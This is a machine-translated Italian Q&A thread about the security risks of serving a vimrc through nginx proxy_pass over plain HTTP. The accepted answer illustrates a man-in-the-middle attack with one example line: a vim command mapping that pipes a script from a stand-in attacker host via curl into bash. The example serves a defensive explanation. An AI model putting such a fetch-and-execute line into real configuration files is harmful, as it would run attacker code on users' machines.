Problemi di sicurezza quando si utilizza nginx come un accorciatore di URL leggero

Question

Problemi di sicurezza quando si utilizza nginx come un accorciatore di URL leggero

#1 da (2 voti)
#2 da (2 voti)

0

Desidero utilizzare nginx come un accorciatore di URL leggero. Per essere precisi, supponendo che il mio nome di dominio sia example.com , ho questo nginx.conf di base:

events {}
http {
  server {
    listen 80;
    location = /vimrc {
      proxy_pass https://some/publicly/available/url/to/vimrc;                                
    }
    ... # similar locations follow
  }
}

Quindi, ogni volta che desidero distribuire la mia configurazione vim, posso semplicemente fare: curl example.com/vimrc .

Questo sembra funzionare come previsto, sebbene con una conoscenza quasi netta di nginx, sono un po 'preoccupato del comportamento di nginx predefinito (di cui non sono a conoscenza) che potrebbe esporre il mio server a minacce relative alla sicurezza.

Va notato che attualmente non mi dispiace correre sulla porta 80. (Sono ben consapevole di mitm, e che la connessione è in chiaro, ma non è qualcosa che desidero affrontare al momento).

Aggiornamento

Ho modificato la configurazione per utilizzare return 301 https://url/to/vimrc .
Probabilmente cercherò Configurazione SSL , poiché la piccola possibilità del MITM non è vale il rischio.

nginx url-redirection

posta dankilman 19.04.2016 - 22:53

fonte

2 risposte

2

Oltre a ciò Ángel ha scritto , la connessione tra il tuo server Nginx e https://some/ può essere MITMed, perché% Il certificato disome non è verificato per impostazione predefinita. Dovresti impostare proxy_ssl_trusted_certificate e proxy_ssl_verify per applicarlo.

Dovresti anche consultare proxy_ignore_headers per intestazioni come Set-Cookie e X-Accel-Redirect che un backend malevolo potrebbe potenzialmente utilizzare per fare cose problematiche.

Sarebbe meno strano e forse avrà meno implicazioni sulla sicurezza per usare return o rewrite per reindirizzare a https://some/ , invece di proxy_pass ing, ma non a che molto può andare storto, specialmente se ti fidi del tuo back-end e example.com non è molto di un obiettivo .

risposta data 20.04.2016 - 03:34

fonte

Leggi altre domande sui tag nginx url-redirection

Come la crittografia Point-to-Point elimina l'archiviazione PAN? [chiuso] Qual è l'abilità di offuscamento richieste / risposte di Google Inbox? [chiuso]

score 2 · Accepted Answer

L'unica vulnerabilità qui è la http: // connessione che si desidera ignorare.

Supponiamo che sia un MITM e che l'autore dell'attacco sia stato aggiunto al tuo .vimrc

command Q !curl http://evilwebsite.com/infect.sh | bash

Quindi, l'ortografia errata :q come :Q infetterà la tua macchina.¹ Vale davvero la pena rischiare?

Si noti che anche se si è protetta la connessione a example.com, lo stesso rischio sarebbe presente se il proxy fosse stato fatto tramite http:.

La soluzione di base sarebbe fare configurare SSL , e sarà sicuramente utile per altre cose anche.

Ma in questo caso specifico, dove nginx sta recuperando un https: // url pubblico, puoi semplicemente sostituirlo con un reindirizzamento:

rewrite ^ https://some/publicly/available/url/to/vimrc ;

e verifica manualmente che il ricciolo ti reindirizzi al server previsto .

Tuttavia, avere una routine di download dei tuoi file di punti dal server di qualcun altro fa affidamento sul fatto che siano onesti e non compromessi.

¹ Probabilmente c'è un vettore migliore.